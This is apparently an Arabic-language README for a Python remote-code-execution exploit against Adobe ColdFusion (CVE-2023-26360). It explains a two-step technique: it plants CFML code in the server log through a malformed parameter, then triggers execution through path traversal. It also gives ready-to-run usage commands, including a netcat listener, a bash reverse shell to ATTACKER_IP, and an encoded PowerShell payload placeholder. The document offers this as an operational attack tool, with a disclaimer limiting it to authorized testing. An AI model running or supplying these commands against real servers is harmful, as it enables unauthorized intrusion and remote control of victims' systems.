
يعتمد هذا الاستغلال على ثغرة CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) وقد تم بناؤه فوق وحدة Metasploit ومستودع jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.
تنفيذ بايثون لاستغلال تنفيذ الأوامر عن بُعد لـ CVE-2023-26360، بناءً على تحليل وحدة Metasploit الأصلية والعمل السابق لـ jakabakos.
تحاول إثبات المفهوم (PoC) لـ jakabakos حقن <cfexecute> مباشرة في معامل _variables وقراءة المخرجات من سجل ColdFusion في خطوة واحدة. يفشل هذا الأسلوب لأن ColdFusion لا يُقيِّم وسوم CFML مضمنة في هذا السياق، مما يؤدي إلى خطأ 500 بدون تنفيذ أوامر.
يعيد هذا التنفيذ إنتاج الآلية الصحيحة ذات الخطوتين المستخدمة في وحدة Metasploit:
_variables مشوهة ({<cftry>CFML</cftry>) إلى نقطة نهاية CFC القابلة للاستغلال. يفشل ColdFusion في تحليلها ويكتب المحتوى الخام — بما في ذلك كود CFML — في coldfusion-out.log.يتم تنفيذ الأوامر عبر java.lang.Runtime.exec() من خلال createObject، متجنباً أي اعتماد على <cfexecute>، والذي غالباً ما يكون معطلاً في البيئات المحصَّنة أو الإنتاجية.
pip install -r requirements.txt
ابدأ مستمعاً قبل تشغيل أداة الاستغلال:
nc -lvnp 4444
هدف ويندوز:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
هدف لينكس:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
عبر وكيل (مثل Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| Flag | Description |
|---|---|
┌─────────────┐ Step 1: plant CFML ┌──────────────────┐
│ Attacker │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF fails to parse, logs CFML │ │
│ │ │ coldfusion- │
│ │ Step 2: trigger execution │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (loaded as │
│ │ │ CFML template) │
│ Listener │ ◄─────────────── reverse shell ───────│ │
└─────────────┘ └──────────────────┘
تم توفير هذه الأداة للأغراض التعليمية وتقييمات الأمان المصرح بها فقط (اختبارات الاختراق، مسابقات CTF، البيئات المخبرية). تشغيل هذا الاستغلال ضد أنظمة دون إذن خطي صريح هو أمر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي استخدام سيء.
--hostعنوان URL الأساسي للهدف (مثل http://192.168.1.10:8500) |
--cmd | الأمر المراد تنفيذه على الهدف |
--win | اضبط هذا العلم إذا كان الهدف من نوع ويندوز |
--proxy | عنوان URL اختياري لوكيل HTTP |